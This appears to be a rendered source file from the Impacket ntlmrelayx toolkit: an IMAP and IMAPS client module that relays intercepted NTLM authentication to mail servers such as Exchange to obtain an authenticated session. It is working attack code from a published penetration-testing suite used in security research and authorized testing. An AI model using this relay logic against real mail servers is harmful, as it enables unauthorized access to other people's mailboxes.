Hide keyboard shortcuts

Hot-keys on this page

r m x p   toggle line displays

j k   next/prev highlighted chunk

0   (zero) top of page

1   (one) first highlighted chunk

1# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 

2# 

3# This software is provided under under a slightly modified version 

4# of the Apache Software License. See the accompanying LICENSE file 

5# for more information. 

6# 

7# IMAP Protocol Client 

8# 

9# Author: 

10# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 

11# Alberto Solino (@agsolino) 

12# 

13# Description: 

14# IMAP client for relaying NTLMSSP authentication to mailservers, for example Exchange 

15# 

16import imaplib 

17import base64 

18from struct import unpack 

19 

20from impacket import LOG 

21from impacket.examples.ntlmrelayx.clients import ProtocolClient 

22from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED 

23from impacket.ntlm import NTLMAuthChallenge 

24from impacket.spnego import SPNEGO_NegTokenResp 

25 

26PROTOCOL_CLIENT_CLASSES = ["IMAPRelayClient","IMAPSRelayClient"] 

27 

28class IMAPRelayClient(ProtocolClient): 

29 PLUGIN_NAME = "IMAP" 

30 

31 def __init__(self, serverConfig, target, targetPort = 143, extendedSecurity=True ): 

32 ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) 

33 

34 def initConnection(self): 

35 self.session = imaplib.IMAP4(self.targetHost,self.targetPort) 

36 self.authTag = self.session._new_tag() 

37 LOG.debug('IMAP CAPABILITIES: %s' % str(self.session.capabilities)) 

38 if 'AUTH=NTLM' not in self.session.capabilities: 

39 LOG.error('IMAP server does not support NTLM authentication!') 

40 return False 

41 return True 

42 

43 def sendNegotiate(self,negotiateMessage): 

44 negotiate = base64.b64encode(negotiateMessage) 

45 self.session.send('%s AUTHENTICATE NTLM%s' % (self.authTag,imaplib.CRLF)) 

46 resp = self.session.readline().strip() 

47 if resp != '+': 

48 LOG.error('IMAP Client error, expected continuation (+), got %s ' % resp) 

49 return False 

50 else: 

51 self.session.send(negotiate + imaplib.CRLF) 

52 try: 

53 serverChallengeBase64 = self.session.readline().strip()[2:] #first two chars are the continuation and space char 

54 serverChallenge = base64.b64decode(serverChallengeBase64) 

55 challenge = NTLMAuthChallenge() 

56 challenge.fromString(serverChallenge) 

57 return challenge 

58 except (IndexError, KeyError, AttributeError): 

59 LOG.error('No NTLM challenge returned from IMAP server') 

60 raise 

61 

62 def sendAuth(self, authenticateMessageBlob, serverChallenge=None): 

63 if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: 

64 respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) 

65 token = respToken2['ResponseToken'] 

66 else: 

67 token = authenticateMessageBlob 

68 auth = base64.b64encode(token) 

69 self.session.send(auth + imaplib.CRLF) 

70 typ, data = self.session._get_tagged_response(self.authTag) 

71 if typ == 'OK': 

72 self.session.state = 'AUTH' 

73 return None, STATUS_SUCCESS 

74 else: 

75 LOG.error('IMAP: %s' % ' '.join(data)) 

76 return None, STATUS_ACCESS_DENIED 

77 

78 def killConnection(self): 

79 if self.session is not None: 

80 self.session.logout() 

81 self.session = None 

82 

83 def keepAlive(self): 

84 # Send a NOOP 

85 self.session.noop() 

86 

87class IMAPSRelayClient(IMAPRelayClient): 

88 PLUGIN_NAME = "IMAPS" 

89 

90 def __init__(self, serverConfig, targetHost, targetPort = 993, extendedSecurity=True ): 

91 ProtocolClient.__init__(self, serverConfig, targetHost, targetPort, extendedSecurity) 

92 

93 def initConnection(self): 

94 self.session = imaplib.IMAP4_SSL(self.targetHost,self.targetPort) 

95 self.authTag = self.session._new_tag() 

96 LOG.debug('IMAP CAPABILITIES: %s' % str(self.session.capabilities)) 

97 if 'AUTH=NTLM' not in self.session.capabilities: 

98 LOG.error('IMAP server does not support NTLM authentication!') 

99 return False 

100 return True